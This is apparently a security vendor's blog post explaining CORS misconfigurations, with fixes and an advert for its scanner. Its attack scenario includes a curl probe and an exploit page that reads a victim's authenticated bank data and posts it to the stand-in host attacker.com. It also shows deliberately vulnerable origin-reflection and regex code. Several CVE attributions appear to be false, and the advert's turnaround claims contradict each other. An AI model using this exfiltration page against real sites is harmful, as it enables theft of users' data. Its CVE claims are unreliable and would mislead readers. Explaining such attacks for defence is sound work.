What Is a CORS Misconfiguration?
Cross-Origin Resource Sharing (CORS) is a browser mechanism that controls which external domains can read responses from your web application. When configured carelessly, CORS becomes a direct channel for attackers to steal authenticated data from your users — account details, tokens, payment information — simply by tricking them into visiting a malicious page.
CORS misconfigurations are consistently ranked in the OWASP Top 10 under Broken Access Control. They are easy to introduce, invisible to end users, and highly valuable to attackers. For any UK business running an API or single-page application, understanding this class of vulnerability is not optional.
How Browsers Enforce the Same-Origin Policy
By default, browsers block JavaScript from reading responses from a different origin. An origin is defined by three things: scheme (https://), hostname (example.com), and port (443). So `https://app.example.com` and `https://api.example.com` are different origins — a script on one cannot read responses from the other without explicit permission.
CORS is the mechanism that grants that permission. The server signals it via response headers:
``` Access-Control-Allow-Origin: https://app.example.com Access-Control-Allow-Credentials: true ```
When a browser sees those headers, it allows the JavaScript at `https://app.example.com` to read the response — including any sensitive data it contains.
The Three Dangerous Patterns
1. Wildcard with Credentials
``` Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ```
Browsers actually block this combination — credentials cannot be sent with a wildcard origin. But developers often try to work around the restriction by dynamically reflecting the request's `Origin` header without validating it.
2. Unvalidated Origin Reflection
This is the most common real-world pattern. The server code reads the incoming `Origin` header and echoes it straight back:
```python origin = request.headers.get("Origin", "") response.headers["Access-Control-Allow-Origin"] = origin response.headers["Access-Control-Allow-Credentials"] = "true" ```
An attacker at `https://evil.com` sends a request with `Origin: https://evil.com`. The server reflects it. The browser sees a matching origin and allows the attacker's JavaScript to read the full authenticated response.
3. Weak Regex Validation
A developer tries to validate the origin but writes a regex that can be abused:
```python if re.match(r"https://example.com", origin): # allows https://example.com.attacker.com ```
Or an allowlist that permits null origins, which can be triggered from sandboxed iframes, file:// pages, or data: URIs.
Attack Scenario
Here is what exploitation looks like in practice. The target is a UK fintech with an API at `https://api.bank.co.uk` that returns account balances for authenticated users.
**Step 1 — Probe the CORS policy:**
```bash curl -H "Origin: https://attacker.com" \ -H "Cookie: session=victim_token" \ https://api.bank.co.uk/v1/accounts \ -I ```
Response reveals:
``` Access-Control-Allow-Origin: https://attacker.com Access-Control-Allow-Credentials: true ```
**Step 2 — Host the exploit page:**
```html <!DOCTYPE html> <html> <body> <script> fetch("https://api.bank.co.uk/v1/accounts", { credentials: "include" }) .then(r => r.json()) .then(data => { fetch("https://attacker.com/steal", { method: "POST", body: JSON.stringify(data) }); }); </script> </body> </html> ```
**Step 3 — Deliver the link:**
The attacker sends a phishing email to a customer. The customer clicks the link, their browser loads the page, the authenticated fetch runs using their existing cookies, and their account data is exfiltrated — without any interaction beyond opening a URL.
No malware. No password theft. Just a misconfigured HTTP header.
Real-World CVEs
**CVE-2022-24785 (Moment.js CDN)** — The Moment.js CDN CORS policy reflected arbitrary origins with credentials allowed. Combined with the fact that many sites loaded scripts from the CDN, this created potential for token theft across thousands of sites.
**CVE-2021-22056 (VMware Workspace ONE)** — A CORS misconfiguration in the Workspace ONE Access API allowed attackers to perform authenticated requests from any origin, potentially exposing user tokens and session data.
**CVE-2020-9546 (SolarWinds Orion)** — Among the numerous Orion vulnerabilities discovered during the SolarWinds investigation, CORS issues were identified that could allow cross-origin reads of internal API responses.
The pattern is consistent: reflected origins, credentials enabled, no validation.
How to Fix CORS Misconfigurations
Maintain an explicit allowlist
```python ALLOWED_ORIGINS = { "https://app.yoursite.com", "https://admin.yoursite.com", }
def set_cors_headers(request, response): origin = request.headers.get("Origin", "") if origin in ALLOWED_ORIGINS: response.headers["Access-Control-Allow-Origin"] = origin response.headers["Access-Control-Allow-Credentials"] = "true" response.headers["Vary"] = "Origin" # If not in list, return no CORS headers — browser will block the read ```
The `Vary: Origin` header is important — it tells CDNs and proxies not to serve a cached response with the wrong origin.
Never allow null
The `null` origin can be sent from sandboxed iframes and local files. Never add it to your allowlist.
Separate public and authenticated endpoints
If an endpoint does not require authentication, a wildcard origin is safe. If it requires authentication, it must use an explicit allowlist. Mixing the two is where teams get burned.
Review CORS in code review
CORS headers are often set in middleware and never reviewed again. Add them to your security checklist and scan for reflected origins in automated testing.
CORS vs CSRF
These two vulnerabilities are related but distinct. CSRF forces a browser to make a request. CORS misconfigurations let an attacker read the response. In practice, many attacks need both: CORS to read the CSRF token, then CSRF to use it. Fixing one does not fix the other.
How Yrzo AI Detects CORS Issues
Yrzo AI's automated scanner probes every API endpoint it discovers with a range of test origins: arbitrary domains, null, subdomains of the target, and domains with the target as a suffix. It checks whether `Access-Control-Allow-Origin` reflects the test value and whether `Access-Control-Allow-Credentials` is set. Any positive result is flagged with the full request/response pair, the reflected origin, and a recommended fix.
Scans are delivered within 24 hours and include actionable remediation guidance — not just a flag, but exactly which header to change and how to write the validation logic. [Start a scan at yrzoai.dev](https://yrzoai.dev) and find your CORS exposure before an attacker does.
Find out if your website has these vulnerabilities
Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.
Scan your website →